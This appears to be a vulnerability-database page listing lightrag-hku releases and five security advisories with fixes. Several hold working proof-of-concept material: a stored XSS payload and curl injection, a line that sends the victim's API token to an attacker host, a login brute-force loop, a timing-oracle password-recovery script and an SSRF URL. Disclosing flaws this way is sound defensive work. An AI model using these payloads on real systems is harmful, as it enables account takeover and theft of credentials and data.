lightrag-hku

Version	Released
`1.5.7` patch	Sep 02, 2026
`1.5.7rc2` pre	Aug 19, 2026
`1.5.7rc1` pre	Aug 17, 2026
`1.5.6` patch	Aug 06, 2026
`1.5.5` patch	Jul 31, 2026
`1.5.5rc1` pre 5 CVEs	Jul 13, 2026
`1.5.4` patch 5 CVEs	Jun 24, 2026
`1.5.3` patch 7 CVEs	Jun 14, 2026
`1.5.2` patch 7 CVEs	Jun 11, 2026
`1.5.1` patch 7 CVEs	Jun 09, 2026
`1.5.0` minor 7 CVEs	Jun 03, 2026
`1.5.0rc3` pre 7 CVEs	May 26, 2026
`1.5.0rc2` pre 7 CVEs	May 21, 2026
`1.4.16` patch 7 CVEs	May 07, 2026
`1.5.0rc1` pre 7 CVEs	Apr 26, 2026
`1.4.15` patch 7 CVEs	Apr 19, 2026
`1.4.14` patch 7 CVEs	Apr 12, 2026
`1.4.13` patch 8 CVEs	Apr 02, 2026
`1.4.13rc1` pre 9 CVEs	Mar 29, 2026
`1.4.12` patch 9 CVEs	Mar 27, 2026
`1.4.12rc1` pre 9 CVEs	Mar 26, 2026
`1.4.11` patch 9 CVEs	Mar 20, 2026
`1.4.11rc2` pre 9 CVEs	Mar 13, 2026
`1.4.10` patch 9 CVEs	Feb 27, 2026
`1.4.9.11` patch 9 CVEs	Jan 15, 2026
`1.4.9.10` patch 9 CVEs	Dec 23, 2025
`1.4.9.9` patch 9 CVEs	Dec 22, 2025
`1.4.9.8` patch 9 CVEs	Nov 06, 2025
`1.4.9.7` patch 9 CVEs	Oct 30, 2025
`1.4.9.6` patch 9 CVEs	Oct 30, 2025
`1.4.9.5` patch 9 CVEs	Oct 29, 2025
`1.4.9.4` patch 9 CVEs	Oct 22, 2025
`1.4.9.4rc1` pre 9 CVEs	Oct 22, 2025
`1.4.9.3` patch 9 CVEs	Oct 14, 2025
`1.4.9.2` patch 9 CVEs	Oct 11, 2025
`1.4.9.1` patch 9 CVEs	Oct 03, 2025
`1.4.9` patch 9 CVEs	Sep 28, 2025
`1.4.9rc4` pre 9 CVEs	Sep 26, 2025
`1.4.9rc3` pre 9 CVEs	Sep 25, 2025
`1.4.9rc2` pre 9 CVEs	Sep 24, 2025
`1.4.9rc1` pre 9 CVEs	Sep 22, 2025
`1.4.8.2` patch 9 CVEs	Sep 16, 2025
`1.4.8.1` patch 9 CVEs	Sep 14, 2025
`1.4.8rc9` pre 9 CVEs	Sep 09, 2025
`1.4.8rc8` pre 9 CVEs	Sep 08, 2025
`1.4.8rc7` pre 9 CVEs	Sep 08, 2025
`1.4.8rc6` pre 9 CVEs	Sep 08, 2025
`1.4.8rc4` pre 9 CVEs	Sep 04, 2025
`1.4.7` patch 9 CVEs	Aug 29, 2025
`1.4.6` patch 9 CVEs	Aug 03, 2025

1.5.7 patch

Sep 02, 2026

1.5.7rc2 pre

Aug 19, 2026

1.5.7rc1 pre

Aug 17, 2026

1.5.6 patch

Aug 06, 2026

1.5.5 patch

Jul 31, 2026

1.5.5rc1 pre

5 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


